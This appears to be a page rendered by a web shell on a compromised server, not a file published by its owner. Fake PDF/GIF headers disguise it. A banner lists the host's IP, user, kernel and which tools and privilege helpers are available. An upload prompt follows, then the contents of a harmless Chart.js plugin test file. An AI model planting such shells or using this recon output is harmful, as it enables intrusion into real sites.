%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.30 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/backend/vendors/Chart.js/test/ |
Upload File : |
// Plugin tests describe('Test the plugin system', function() { beforeEach(function() { Chart.plugins = []; }); it ('Should register plugins', function() { var myplugin = {}; Chart.pluginService.register(myplugin); expect(Chart.plugins.length).toBe(1); // Should only add plugin once Chart.pluginService.register(myplugin); expect(Chart.plugins.length).toBe(1); }); it ('Should allow unregistering plugins', function() { var myplugin = {}; Chart.pluginService.register(myplugin); expect(Chart.plugins.length).toBe(1); // Should only add plugin once Chart.pluginService.remove(myplugin); expect(Chart.plugins.length).toBe(0); // Removing a plugin that doesn't exist should not error Chart.pluginService.remove(myplugin); }); it ('Should allow notifying plugins', function() { var myplugin = { count: 0, trigger: function(chart) { myplugin.count = chart.count; } }; Chart.pluginService.register(myplugin); Chart.pluginService.notifyPlugins('trigger', [{ count: 10 }]); expect(myplugin.count).toBe(10); }); });